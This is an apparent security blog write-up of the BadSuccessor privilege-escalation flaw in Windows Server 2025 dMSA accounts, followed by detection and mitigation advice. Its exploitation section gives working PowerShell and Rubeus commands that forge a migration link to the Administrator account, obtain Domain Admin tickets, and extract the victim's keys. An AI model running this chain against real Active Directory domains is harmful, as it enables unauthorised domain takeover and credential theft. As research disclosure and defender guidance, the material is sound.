Exploiting dMSA BadSuccessor

With Windows Server 2025, we received the "delegated Managed Service Account" (dMSA) [1]. Sounds elegant, doesn't it? It is a noble idea: a modern way to replace those old, dusty service accounts, facilitating migration [1].

They built an express lane to migrate legacy accounts to these new dMSAs. The problem, as researcher Yuval Gordon discovered, is that they forgot to bolt a door that is half-open and lit up with neon lights [1].

This design vulnerability, dubbed BadSuccessor [1, 2], is the definition of "the road to hell is paved with good intentions". It allows an attacker with permissions that most consider "benign" to become, without much effort, a Domain Administrator [1, 2].

How is this supposed to work?

The idea behind dMSA migration is that if you have an old account (let's say, svc_sql), you can migrate it to a new dMSA (let's say, DMSA$) [1].

The intended migration process is complex, but the important part is this: to make the transition smooth, the KDC (the Kerberos gatekeeper) lends a hand. When the migration finishes, the KDC is kind enough to include the permissions (SIDs) of the old account (svc_sql) in the ticket (PAC) of the new account (DMSA$) [1]. In this way, the new account can do everything the old one did without anyone noticing.

It seems logical. Until you ask, how does the KDC know the migration was legitimate?

The Forged Migration: The BadSuccessor Attack

Here is where it gets fun. It turns out the KDC is too trusting.

To decide whether it should grant your dMSA the powers of a Domain Administrator, the KDC does not check an audited migration history, nor does it ask the administrator for permission. No. It checks two attributes on the dMSA object [1]:

1. msDS-ManagedAccountPrecededByLink: An attribute that simply points to the Distinguished Name (DN) of the account being (allegedly) replaced [1, 2].

2. msDS-DelegatedMSAState: A number that must be set to 2 (migration completed) [1, 2].

The KDC never validates if the Start-ADServiceAccountMigration command was ever executed [1]. If those two attributes are configured, the KDC shrugs, assumes you are the "legitimate successor", and hands you the SIDs [1, 2].

Technical Exploitation Process

This attack is ridiculously simple. An attacker only needs two permissions that are often overlooked [1, 2].

Step 1: Identify Object Creation Vector

The attacker must locate an Organisational Unit (OU) within the domain where they possess CreateChild permissions (or equivalent) to create new objects [1]. This configuration is surprisingly common; a study by Akamai revealed that 91% of the environments analysed had non-administrator users with these privileges [1].

Step 2: Create the dMSA Principal

Using the identified permission, the attacker creates a new msDS-DelegatedManagedServiceAccount (dMSA) object in the vulnerable OU [2]. As the "Creator Owner" of this object, the attacker has full control over its attributes [1].

# Creating the dMSA in a controlled OU [2]

New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "fake-host.domain.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword -path "OU=test,DC=domain,DC=com"

Step 3: Configure the Simulated Migration

The attacker modifies the two key attributes on the newly created dMSA to simulate a completed migration. The msDS-ManagedAccountPrecededByLink attribute is set to point to the Distinguished Name (DN) of the target account (e.g., a Domain Administrator) [2].

# Setting the fake migration attributes [2]

$dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=test,DC=domain,DC=com"

$dMSA.Put("msDS-DelegatedMSAState", 2)

$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=users,DC=domain,DC=com")

$dMSA.SetInfo()

Step 4: Request Service Ticket (TGS) as dMSA

Finally, the attacker requests a TGT for their malicious dMSA [1, 2]. Tools like Rubeus now support this authentication. The KDC processes the request, sees the forged attributes, and issues a ticket that includes the SIDs and privileges of the victim account (Administrator) [1].

# Requesting the TGT with Rubeus [2]

Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/domain.com /dmsa /ptt /opsec /nowrap /ticket:<Machine TGT>

Game over. The KDC looks at the object, sees the fake link, says "Ah, you are the new Domain Administrator!" and hands over a ticket with all the Domain Admin SIDs [1, 2]. The attacker did not have to touch the actual administrator account, nor modify any groups [1].

Extra: Credential Theft :)

You thought that was it, didn't you? How adorable.

When the KDC issues the TGT for the dMSA, it kindly includes a new structure called KERB-DMSA-KEY-PACKAGE. This is supposed to contain the dMSA's keys so it can decrypt old tickets destined for the account it replaced [1].

But instead of only including the dMSA's keys, the KDC also packages the victim account's keys (specifically, the RC4-HMAC key) and stuffs them into the previous-keys field [1, 2].

This means the attacker is not just impersonating the Domain Administrator. The KDC literally hands them the Domain Administrator's credentials. It is a DCSync attack gifted by a CreateChild permission [1].

Mitigation and Detection

Let's be blunt:

• Is there a patch? No [1, 2].

• What does Microsoft say? They have acknowledged the issue, but (at the time of publication) do not consider it severe enough for an immediate fix, as it requires existing permissions to create/edit a dMSA [1].

• What do we say? We respectfully disagree. A permission considered "benign" (Create Child in an OU) should not be a direct route to compromising the entire domain [1].

What you can do NOW:

Given that you cannot patch it, you have to detect and prevent it.

Prevention (The Best Option):

• Audit your domain right now to see who has permissions to create msDS-DelegatedManagedServiceAccount objects. Akamai published a PowerShell script to help with this [1, 2].

• Treat the permission to create dMSAs with the same seriousness as DCSync. Review who has CreateChild or GenericAll on OUs and restrict it to the maximum extent [2].

Detection (If it is already too late):

• Event ID 5137 (Creation Audit): Alert! Someone created an msDS-DelegatedManagedServiceAccount. Was it a trusted administrator? Or was it "Random-User-Marketing-OU"? [1, 2].

• Event ID 5136 (Attribute Modification): This is the smoking gun. Alert every time someone writes to the msDS-ManagedAccountPrecededByLink attribute. There is no legitimate reason for this to happen outside of a planned and approved dMSA migration [1, 2].

• Event ID 2946 (dMSA Authentication): Track when dMSAs request tickets [1, 2].

In short, a new feature designed for convenience inadvertently created one of the cleanest and stealthiest privilege escalation routes in the recent history of Active Directory [1].

References

[1] Y. Gordon, "BadSuccessor: Abusing dMSA for privilege escalation in Active Directory," Akamai Security Research Blog, 21 May 2025. [Online]. Available: https://www.akamai.com/es/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory

[2] Unit S.T.A².R.S, "BadSuccessor: Privilege escalation via dMSA abuse in Active Directory," Tarlogic Blog, 27 May 2025. [Online]. Available: https://www.tarlogic.com/es/blog/badsuccessor/